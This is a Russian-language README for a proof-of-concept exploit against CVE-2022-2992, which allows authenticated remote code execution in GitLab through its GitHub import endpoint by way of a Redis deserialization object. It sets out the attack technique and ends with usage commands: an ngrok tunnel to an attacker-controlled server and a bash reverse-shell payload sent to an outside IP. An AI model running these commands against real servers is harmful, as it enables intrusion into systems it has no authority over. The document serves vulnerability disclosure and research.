redwaysecurity/cvesНабор proof-of-concept эксплойт-скриптов, написанных командой Redway Security для различных CVE.
Описание: Это позволяет аутентифицированному пользователю добиться удаленного выполнения кода через конечную точку API импорта из GitHub.
Затронутые версии: все версии с 11.10 до 15.1.6, 15.2–15.2.4, 15.3–15.3.2
Исправлено в версии: 15.3.2
Исследователь: vakzz
Ссылка на статью: https://blog.redwaysecurity.com/2023/04/desenvolvendo-o-exploit-para-o-cve-2022.html
Ссылка NIST CVE: https://nvd.nist.gov/vuln/detail/CVE-2022-2992
Аутентифицированный пользователь может импортировать репозиторий из Github в Gitlab. Можно попытаться выполнить импорт с сервера управления злоумышленника, который отвечает объектом протокола сериализации Redis во вложенном default_branch, заставляя Gitlab кэшировать этот объект в Redis, а Redis — десериализовать его и запустить выполнение полезной нагрузки.
Потребуется персональный токен доступа
$ bundle install # install dependencies
$ ngrok http 127.0.0.1:4567 # start ngrok tunnel
$ export NGROK_URL=https://68b9-83-173-213-121.eu.ngrok.io # use the url from ngrok
$ ruby exploit.rb http://target.gitlab.com w4dg6wVj7j7xlJgpGLEYdwFe 'bash -c "sh -i >& /dev/tcp/172.23.0.1/1337 0>&1"' # that is a example, use your own payload
